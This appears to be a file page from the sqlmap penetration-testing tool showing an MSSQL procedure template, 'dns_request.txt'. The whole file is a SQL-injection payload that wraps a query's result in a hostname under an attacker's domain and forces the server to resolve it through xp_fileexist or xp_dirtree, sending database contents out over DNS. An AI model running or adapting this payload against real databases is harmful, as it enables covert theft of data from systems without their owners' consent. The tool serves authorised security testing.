sqlmap/procs/mssqlserver/dns_request.txt

5 lines
198 B
Plaintext

DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"');
# or EXEC('xp_dirtree "\\' + @host + '."');